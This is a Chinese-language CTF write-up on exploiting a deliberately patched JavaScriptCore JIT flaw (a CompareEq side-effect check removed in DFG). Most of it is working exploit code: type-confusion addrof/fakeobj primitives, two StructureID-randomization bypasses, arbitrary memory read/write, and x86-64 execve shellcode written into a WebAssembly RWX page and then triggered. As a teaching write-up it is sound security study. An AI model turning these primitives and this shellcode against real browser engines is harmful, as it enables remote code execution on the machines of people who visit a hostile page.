FireShell2020——从一道ctf题入门jsc利用

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前言

环境搭建

编译webkit

sudo apt install libicu-dev python ruby bison flex cmake build-essential ninja-build git gperf
git clone --depth=1 https://github.com/WebKit/webkit
git fetch --unshallow
Tools/gtk/install-dependencies
Tools/Scripts/set-webkit-configuration --asan  // 配置asan
Tools/Scripts/build-webkit --jsc-only --debug
Tools/Scripts/build-webkit --jsc-only --release

编译题目环境:

git checkout 830f2e892431f6fea022f09f70f2f187950267b7
cd Source/JavaScriptCore/dfg
cp DFGAbstractInterpreterInlines.h DFGAbstractInterpreterInlines__patch.h
git apply < ./patch.diff
cp DFGAbstractInterpreterInlines__patch.h DFGAbstractInterpreterInlines.h
cd ../../../
Tools/Scripts/build-webkit --jsc-only --release

启动运行jsc:

./jsc --useConcurrentJIT=false ./exp.js

打断点的三种方式

(1)定义下面函数,在利用代码中调用,gdb调试中对arrayProtoFuncSlice下断点

function b(){
    Array.prototype.slice([]);    //needs "b arrayProtoFuncSlice"
}

(2)在利用代码中添加readline();,等待输入,就可以在gdb中断下

(3) 修改jsc的源码添加如下辅助函数

diff --git diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index bda9a09d0d2..d359518b9b6 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -994,6 +994,7 @@ static EncodedJSValue JSC_HOST_CALL functionSetHiddenValue(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionPrintStdOut(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionPrintStdErr(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDebug(ExecState*);
+static EncodedJSValue JSC_HOST_CALL functionDbg(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionDescribeArray(ExecState*);
 static EncodedJSValue JSC_HOST_CALL functionSleepSeconds(ExecState*);
@@ -1218,6 +1219,7 @@ protected:

         addFunction(vm, "debug", functionDebug, 1);
         addFunction(vm, "describe", functionDescribe, 1);
+        addFunction(vm, "dbg", functionDbg, 0);
         addFunction(vm, "describeArray", functionDescribeArray, 1);
         addFunction(vm, "print", functionPrintStdOut, 1);
         addFunction(vm, "printErr", functionPrintStdErr, 1);
@@ -1752,6 +1754,13 @@ EncodedJSValue JSC_HOST_CALL functionDebug(ExecState* exec)
     return JSValue::encode(jsUndefined());
 }

+EncodedJSValue JSC_HOST_CALL functionDbg(ExecState* exec)
+{
+       asm("int3;");
+
+       return JSValue::encode(jsUndefined());
+}
+
 EncodedJSValue JSC_HOST_CALL functionDescribe(ExecState* exec)
 {
     if (exec->argumentCount() < 1)

基础知识

jsc中类型的表示是通过高16位来区分的,剩下的48位用来表示地址,具体如下:

Pointer: [0000][xxxx:xxxx:xxxx](前两个字节为0,后六个字节寻址)
Double: [0001~FFFE][xxxx:xxxx:xxxx]
Intger: [FFFF][0000:xxxx:xxxx](只有低四个字节表示数字)
False: [0000:0000:0000:0006]
True: [0000:0000:0000:0007]
Undefined: [0000:0000:0000:000a]
Null: [0000:0000:0000:0002]

jsc中对象中及其属性的内存分布(Butterfly):

--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
                            ^
                            |
            +---------------+
            |
  +-------------+
  | Some Object |
  +-------------+

Butterfly指针指向的是属性值和元素值的中间,属性值保存在左边(低地址处),元素值保存在右边,同时左边还保存着元素的个数length。

对象的属性个数超过默认值6时,JSC就会为对象创建一个Butterfly来存储属性的值。属性少于6个时,会以inline的方式存储,如下:

 

漏洞分析

题目补丁:

DFGAbstractInterpreterInlines.h

--- DFGAbstractInterpreterInlines.h     2020-03-19 13:12:31.165313000 -0700
+++ DFGAbstractInterpreterInlines__patch.h      2020-03-16 10:34:40.464185700 -0700
@@ -1779,10 +1779,10 @@
     case CompareGreater:
     case CompareGreaterEq:
     case CompareEq: {
-        bool isClobbering = node->isBinaryUseKind(UntypedUse);
+    //    bool isClobbering = node->isBinaryUseKind(UntypedUse);

-        if (isClobbering)
-            didFoldClobberWorld();
+   //     if (isClobbering)
+   //         didFoldClobberWorld();

         JSValue leftConst = forNode(node->child1()).value();
         JSValue rightConst = forNode(node->child2()).value();
@@ -1905,8 +1905,8 @@
             }
         }

-        if (isClobbering)
-            clobberWorld();
+    //    if (isClobbering)
+    //        clobberWorld();
         setNonCellTypeForNode(node, SpecBoolean);
         break;
     }

jsc优化的四个阶段:

DFG积极地基于前面(baseline JIT&Interpreter)收集的数据进行类型推测,这样就可以尽早获得类型信息(forward-propagate type information),从而减少了大量的类型检查。如果推测失败,DFG取消优化(Deoptimization),也称为”OSR exit”.

同时该阶段优化也要确保优化不会去除一些可能溢出的边界检查,实现在DFGAbstractInterpreterInlines.h,里面包含一个executeEffects函数用于检查一个操作对后续的优化是否安全,如果不安全,就会调用clobberWorld 函数取消对所有数组类型的推测,表明该优化操作是有风险的。

// JavascriptCore/dfg/DFGAbstractInterpreterInlines.h
template <typename AbstractStateType>
void AbstractInterpreter<AbstractStateType>::clobberWorld()
{
    clobberStructures();
}
// JavascriptCore/dfg/DFGAbstractInterpreterInlines.h
template <typename AbstractStateType>
void AbstractInterpreter<AbstractStateType>::clobberStructures()
{
    m_state.clobberStructures();
    m_state.mergeClobberState(AbstractInterpreterClobberState::ClobberedStructures);
    m_state.setStructureClobberState(StructuresAreClobbered);
}

而题目补丁就是将CompareEq操作中clobberWorld 检查去除,简单来说就是CompareEq操作中不会检查对象的类型转换,会直接按照优化结果处理,poc 代码如下:

var arr = [1.1, 2.2, 3.3];
arr['a'] = 1;

var go = function(a, c) {
    a[0] = 1.1;
    a[1] = 2.2;
    c == 1;
    a[2] = 5.67070584648226e-310;
}

for(var i = 0; i < 0x100000; i++) {
    go(arr, {})
}

go(arr, {
    toString:() => {
        arr[0] = {};
        return '1';
    }
});
"" + arr[2];

调用toString时,在执行到”c == 1”前,a的类型为ArrayWithDouble,通过执行arr[0]={},a的类型变为ArrayWithContiguous,而JIT并没有对类型的转化进行检查,所以执行完”c == 1”后,依旧认为a的类型为ArrayWithDouble,而实际此时a类型为ArrayWithContiguous,造成类型混淆,浮点数就被当作是一个对象指针。最后”” + arr[2]; 指针加上字符导致crash。

执行toString前后,arr数组类型从ArrayWithDouble变成ArrayWithContiguous:

执行toString 前:
Object: 0x7fc1b3faeee8 with butterfly 0x7fb85b7f83a8 (Structure 0x7fc173bfb4e0:[0x9ce, Array, {a:100}, ArrayWithDouble, Proto:0x7fc1b3fb70e8, Leaf]), StructureID: 2510
执行toString 后:
Object: 0x7fc1b3faeee8 with butterfly 0x7fb85b7f83a8 (Structure 0x7fc173bfbde0:[0xb5a4, Array, {a:100}, ArrayWithContiguous, Proto:0x7fc1b3fb70e8, Leaf]), StructureID: 46500

 

漏洞利用

jsc漏洞的利用的一般流程是:

(1)利用漏洞构造addrof和fakeobj原语

(2)绕过StructureID随机化

(3)构造任意地址读写

(4)查找wasm rwx区域,写入shellcode,完成利用

构造addrof和fakeobj原语

根据poc可以构造出构造addrof和fakeobj原语:

function AddrOfFoo(arr, cmpObj)
{
    arr[1] = 1.1;
    cmpObj == 2.2; 
    return arr[0];
}

for( let i=0; i<MAX_ITERATIONS; i++ ) {
    AddrOfFoo(arr, {});
}

function AddrOf(obj) {


    let arr = new Array(noCoW, 2,2, 3.3);
    let evil = {
        toString: () => {
            arr[0] = obj;
        }
    }
    let addr = AddrOfFoo(arr, evil);
    return f2i(addr);
}


function FakeObjFoo(arr, cmpObj, addr)
{
    arr[1] = 1.1;
    cmpObj == 2.2;  
    arr[0] = addr;
}

for( let i=0; i<MAX_ITERATIONS; i++ ) {
    FakeObjFoo(arr, {}, 1.1);
}

function FakeObj(addr) {

    addr = i2f(addr);
    let arr = new Array(noCoW, 2.2, 3.3);
    let evil = {
        toString: () => {
            arr[0] = {};
        }
    }
    FakeObjFoo(arr, evil, addr);
    return arr[0];
}

接下来是绕过StructureID随机化,JSC里面并不是所有的内建函数,机制都依赖正确的structureID,我们可以通过不验证structureID的调用路径进行伪造,泄露的正常的structureID。

泄露StructureID方法一

当加载JSArray的元素时,解释器中有一个代码路径,它永远不会访问StructureID:

static ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript)
{
    ...;
    if (subscript.isUInt32()) {
        uint32_t i = subscript.asUInt32();
        if (baseValue.isObject()) {
            JSObject* object = asObject(baseValue);
            if (object->canGetIndexQuickly(i))
                return object->getIndexQuickly(i); // 【1】

getIndexQuickly直接从butterfly加载元素,而canGetIndexQuickly只查看JSCell头部中的索引类型和butterfly中的length:

bool canGetIndexQuickly(unsigned i) const {
    const Butterfly* butterfly = this->butterfly();
    switch (indexingType()) {
    ...;
    case ALL_CONTIGUOUS_INDEXING_TYPES:
        return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
}

我们可以伪造一个JSArray对象,填充无效的StructureID等头部字段(因为getByVal路径上不验证,所以不会报错),然后将butterfly填充为要泄露的目标对象地址,就可以将目标对象的结构当成数据输出。

泄露StructureID的代码如下:

// leak entropy by getByVal
function LeakStructureID(obj)
{
    let container = {
        cellHeader: i2obj(0x0108230700000000), // 伪造的JSArray头部,包括StructureID等字段
        butterfly: obj
    };

    let fakeObjAddr = AddrOf(container) + 0x10;
    let fakeObj = FakeObj(fakeObjAddr);
    f64[0] = fakeObj[0];// 访问元素会调用getByVal

    //此时fakeObj[0]为Legitimate JSArray的JSCell,fakeObj[1]为Legitimate JSArray的butterfly
    // repair the fakeObj's jscell
    let structureID = u32[0];
    u32[1] = 0x01082307 - 0x20000;
    container.cellHeader = f64[0];

    return structureID;
}

内存布局如下:

// container 对象:
Object: 0x7fe0cc78c000 with butterfly (nil) (Structure 0x7fe0cc7bfde0:[0xd0bd, Object, {cellHeader:0, butterfly:1}, NonArray, Proto:0x7fe10cbf6de8, Leaf]), StructureID: 53437

    pwndbg> x/4gx 0x7fe0cc78c000
0x7fe0cc78c000:    0x010018000000d0bd    0x0000000000000000
0x7fe0cc78c010:    0x0108230700000000    0x00007fe10cb7cae8 // <---伪造的Butterfly,覆盖成目标对象地址
              // 伪造的JSCell
pwndbg> x/gx 0x00007fe10cb7cae8
0x7fe10cb7cae8:    0x010823070000f1aa // <---- StructureID被当作数据输出

泄露StructureID方法二

我们可以通过 toString() 函数原型的调用链来实现泄露StructureID。具体见下面的例子:

function f() {
    return "hello world";
}
print(Function.prototype.toString.call(f));

// 会输出源代码
function f() {
    return "hello world";
}

Function.prototype.toString() 方法用于返回一个表示当前函数源代码的字符串,对于内置函数,往往返回一个类似“[native code] ”的字符串作为函数体。它调用链如下:

EncodedJSValue JSC_HOST_CALL functionProtoFuncToString(JSGlobalObject* globalObject, CallFrame* callFrame)
{
    VM& vm = globalObject->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
    JSValue thisValue = callFrame->thisValue();
    if (thisValue.inherits<JSFunction>(vm)) {
        JSFunction* function = jsCast<JSFunction*>(thisValue);
        if (function->isHostOrBuiltinFunction())
            RELEASE_AND_RETURN(scope, JSValue::encode(jsMakeNontrivialString(globalObject, "function ", function->name(vm), "() {\n[native code]\n}"))); // 【1】
        FunctionExecutable* executable = function->jsExecutable();
        if (executable->isClass())
            return JSValue::encode(jsString(vm, executable->classSource().view().toString()));
        …

【1】处会调用function->name 来获取函数名,具体调用到JSFunction::name 函数:

String JSFunction::name(VM& vm)
{
    …
    const Identifier identifier = jsExecutable()->name();
    if (identifier == vm.propertyNames->builtinNames().starDefaultPrivateName())
        return emptyString();
    return identifier.string(); // 【2】
}
inline FunctionExecutable* JSFunction::jsExecutable() const
{
    ASSERT(!isHostFunctionNonInline());
    return static_cast<FunctionExecutable*>(m_executable.get());
}

【2】处Identifier String 保存着指向函数名的指针, identifier.string()返回函数名的字符串。对应的结构寻址过程如下:

用gdb调试例子,为了直观展示函数名,将函数名定义为AAAAA:

function AAAAA(){
        return "hellow";
}
print(describe(AAAAA));
print(Function.prototype.toString.call(AAAAA));

内存布局如下:

Object: 0x7fd3390f5900 with butterfly (nil) (Structure 0x7fd3390f9140:[0xde6e, Function, {}, NonArray, Proto:0x7fd3794c11a8, Leaf]), StructureID: 56942

pwndbg> x/6gx 0x7fd3390f5900 //函数AAAAA的对象结构地址 (JSFunction object)
0x7fd3390f5900:    0x000e1a000000de6e    0x0000000000000000
0x7fd3390f5910:    0x00007fd3794bd118    0x00007fd3390e5200 // <----- ExecutableBase
0x7fd3390f5920:    0x000e1a000000de6e    0x0000000000000000
pwndbg> x/12gx 0x00007fd3390e5200 // (FunctionExecutable)
0x7fd3390e5200:    0x00000c0000006253    0x0000000000000000
0x7fd3390e5210:    0x0000000000000000    0x0000000000000000
0x7fd3390e5220:    0x0000000000000000    0x00007fd3794a8000
0x7fd3390e5230:    0x0000018700000170    0x0000000e0000001a
0x7fd3390e5240:    0x0000200000000000    0x0000000000000000
0x7fd3390e5250:    0x00007fd3794a7068    0x00007fd3390e8d80 // <-------UnlinkedFunctionExecutable
pwndbg> x/10gx 0x00007fd3390e8d80 // (UnlinkedFunctionExecutable)
0x7fd3390e8d80:    0x00000d000000d77e    0x000000020000001a
0x7fd3390e8d90:    0x0000000e0000016b    0x0000017000000000
0x7fd3390e8da0:    0x0000017080000017    0x0000018600000162
0x7fd3390e8db0:    0x0400000000000000    0x0000000000000000
0x7fd3390e8dc0:    0x0000000000000000    0x00007fd3794aa6c0 // <--------Identifier
pwndbg> x/10gx 0x00007fd3794aa6c0 //(Identifier String)
0x7fd3794aa6c0:    0x000000050000000a    0x00007fd3794aa6d4 // Pointer
            //        Flag| Length
0x7fd3794aa6d0:    0x414141413aace614    0x0000000000000041
pwndbg> x/10gx 0x00007fd3794aa6d4 // 执行函数名的指针
0x7fd3794aa6d4:    0x0000004141414141    0x0000000200000000
                     // 函数名AAAAA

因此根据上述的寻址过程我们可以伪造上述 JSFunction object、FunctionExecutable、UnlinkedFunctionExecutable、Identifier String四个结构,最终Identifier String 的Pointer 指向structureID的地址,就可以将structureID当成函数名,以字符串的形式输出,达到泄露的目的。

伪造的寻址过程如下:

上图是将JSFunction object 和 Identifier String 蹂在一个结构里进行伪造了,泄露structureID代码如下:

function LeakStructureID(obj)
{
    // https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf

    var unlinkedFunctionExecutable = {
        m_isBuitinFunction: i2f(0xdeadbeef),
        pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
        m_identifier: {},
    };

    var fakeFunctionExecutable = {
      pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
      m_executable: unlinkedFunctionExecutable,
    };

    var container = {
      jscell: i2f(0x00001a0000000000),
      butterfly: {},
      pad: 0,
      m_functionExecutable: fakeFunctionExecutable,
    };


    let fakeObjAddr = AddrOf(container) + 0x10;
    let fakeObj = FakeObj(fakeObjAddr);

    unlinkedFunctionExecutable.m_identifier = fakeObj;
    container.butterfly = arrLeak; // 伪造Identifier String 的Pointer为泄露的目标对象arrLeak

    var nameStr = Function.prototype.toString.call(fakeObj);

    let structureID = nameStr.charCodeAt(9);

    // repair the fakeObj's jscell
    u32[0] = structureID;
    u32[1] = 0x01082309-0x20000;
    container.jscell = f64[0];
    return structureID;
}

内存布局如下:

// 要泄露的目标对象 arrLeak
Object: 0x7f32c0569ae8 with butterfly 0x7f284cdd40a8 (Structure 0x7f32801f9800:[0xb0e4, Array, {}, ArrayWithDouble, Proto:0x7f32c05b70e8]), StructureID: 45284 

//container 对象:    
Object: 0x7f3280180000 with butterfly (nil) (Structure 0x7f32801bf540:[0x611b, Object, {jscell:0, butterfly:1, pad:2, m_functionExecutable:3}, NonArray, Proto:0x7f32c05f6de8, Leaf]), StructureID: 24859

fakeObjAddr: 0x00007f3280180010

// fakeFunctionExecutable 对象:
Object: 0x7f3280184000 with butterfly (nil) (Structure 0x7f32801bf6c0:[0x2a4e, Object, {pad0:0, pad1:1, pad2:2, pad3:3, pad4:4, pad5:5, pad6:6, pad7:7, pad8:8, m_executable:9}, NonArray, Proto:0x7f32c05f6de8, Leaf]), StructureID: 10830

// unlinkedFunctionExecutable 对象:
Object: 0x7f3280188000 with butterfly (nil) (Structure 0x7f32801bfa80:[0x32be, Object, {m_isBuitinFunction:0, pad1:1, pad2:2, pad3:3, pad4:4, pad5:5, pad6:6, m_identifier:7}, NonArray, Proto:0x7f32c05f6de8, Leaf]), StructureID: 12990

pwndbg> x/6gx 0x00007f3280180010  // fakeObj
0x7f3280180010:    0x00021a0000000000    0x00007f32c0569ae8
0x7f3280180020:    0xfffe000000000000    0x00007f3280184000  // <----- fakeFunctionExecutable
0x7f3280180030:    0x0000000000000000    0x0000000000000000
pwndbg> x/12gx 0x00007f3280184000
0x7f3280184000:    0x0100180000002a4e    0x0000000000000000
0x7f3280184010:    0xfffe000000000000    0xfffe000000000001
0x7f3280184020:    0xfffe000000000002    0xfffe000000000003
0x7f3280184030:    0xfffe000000000004    0xfffe000000000005
0x7f3280184040:    0xfffe000000000006    0xfffe000000000007
0x7f3280184050:    0xfffe000000000008    0x00007f3280188000 // <------ unlinkedFunctionExecutable 
pwndbg> x/10gx 0x00007f3280188000
0x7f3280188000:    0x01001800000032be    0x0000000000000000
0x7f3280188010:    0x00020000deadbeef    0xfffe000000000001
0x7f3280188020:    0xfffe000000000002    0xfffe000000000003
0x7f3280188030:    0xfffe000000000004    0xfffe000000000005
0x7f3280188040:    0xfffe000000000006    0x00007f3280180010 // unlinkedFunctionExecutable.m_identifier -> 覆盖成fakeObj;
pwndbg> x/2gx 0x00007f3280180010
0x7f3280180010:    0x00021a0000000000    0x00007f32c0569ae8// Pointer -> 覆盖成要泄露的目标对象arrLeak地址
            //        Flag| Length
pwndbg> x/wx 0x00007f32c0569ae8
0x7f32c0569ae8:    0x0000b0e4 // <---- 对象的第一个字段就是StructureID,此时被当成函数名输出

最后structureID取nameStr.charCodeAt(9)是因为Function.prototype.toString.call 返回的是整个函数源码,开头为”function “,占去前9个字符。所以第10个字符为函数名。

构造任意读写

泄露StructureID后,我们可以仿造泄露StructureID方法一那样构造一个JSArray,只不过现在StructureID填充的是有效的,可以根据Butterfly进行读写。

(1)首先伪造一个driver object,类型为对象类型数组,将driver object 的butterfly 指向victim object,此时访问driver[1]就可以访问victim object的butterfly,之后申请一个ArrayWithDouble(浮点数类型)的数组unboxed,通过driver[1] = unboxed 将victim object的butterfly填充为unboxed对象地址,同理此时访问victim[1]就可以访问unboxed object 的butterfly。

这一步我们可以泄露unboxed object的butterfly内容。代码如下:

var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_0'] = 13.37;

u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
var container = {
    cellHeader: f64[0],
    butterfly: victim   
};
// build fake driver
var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);

// ArrayWithDouble
var unboxed = [noCoW, 13.37, 13.37];

// leak unboxed butterfly's addr
driver[1] = unboxed;
var sharedButterfly = victim[1];
print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly)));

(2)申请一个ArrayWithContiguous(对象类型)的数组boxed,和第一步一样,将driver[1]覆盖成boxed object地址就可以通过victim[1] 对boxed object的butterfly进行操作。将第一步泄露的unboxed object butterfly内容填充到boxed object的butterfly,这样两个对象操作的就是同一个butterfly,可以方便构造新的addrof 和 fakeobj原语。

代码如下:

var boxed = [{}];
driver[1] = boxed;
victim[1] = sharedButterfly;

function NewAddrOf(obj) {
    boxed[0] = obj;
    return f2i(unboxed[0]);
}

function NewFakeObj(addr) {
    unboxed[0] = i2f(addr);
    return boxed[0];            
}

(3)将driver object的类型修改成浮点型数组类型,将victim object 的butterfly 修改成target_addr+0x10,因为butterfly是指向length和elem0中间,而属性1prop位于butterfly-0x10的位置,访问victim.prop相当于访问butterfly-0x10 =(target_addr+0x10)-0x10=target_addr。

所以通过读写victim.prop就可以实现任意地址的读写,代码如下:

function Read64(addr) {
    driver[1] = i2f(addr+0x10);
    return NewAddrOf(victim.prop);
}

function Write64(addr, val) {
    driver[1] = i2f(addr+0x10);
    victim.prop = i2f(val);
}

任意代码执行

和v8的利用相似,通过任意读查找wasm_function中rwx区域,通过任意写将shellcode写入该区域即可执行任意代码:

let wasmObjAddr = NewAddrOf(wasmFunc);
let codeAddr = Read64(wasmObjAddr + 0x38);
let rwxAddr = Read64(codeAddr);
print("[+] rwx addr: " + hex(rwxAddr));

var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
// write shellcode to rwx mem
ArbitraryWrite(rwxAddr, shellcode);

// trigger shellcode to execute
wasmFunc();

exp 代码:https://github.com/ray-cp/browser_pwn/blob/master/jsc_pwn/FireShell-ctf-2020-The-Return-of-the-Side-Effect/exp.js

执行效果如下:

 

参考链接

题目环境下载:https://github.com/De4dCr0w/Browser-pwn/tree/master/Vulnerability%20analyze/FireShell-ctf-2020-The-Return-of-the-Side-Effect

基础知识及环境搭建:https://www.anquanke.com/post/id/183804

gdb和lldb指令对比:https://lldb.llvm.org/use/map.html

https://github.com/ray-cp/browser_pwn/tree/master/jsc_pwn/FireShell-ctf-2020-The-Return-of-the-Side-Effect

https://ptr-yudai.hatenablog.com/entry/2020/03/23/105837

https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons

https://ptr-yudai.hatenablog.com/entry/2020/03/23/105837

CVE-2016-4622调试笔记:

http://turingh.github.io/2016/12/03/CVE-2016-4622%E8%B0%83%E8%AF%95%E7%AC%94%E8%AE%B0/

WEBKIT JAVASCRIPTCORE的特殊调试技巧:

https://dwfault.github.io/2019/12/20/WebKit%20JavaScriptCore%E7%9A%84%E7%89%B9%E6%AE%8A%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7/

https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html

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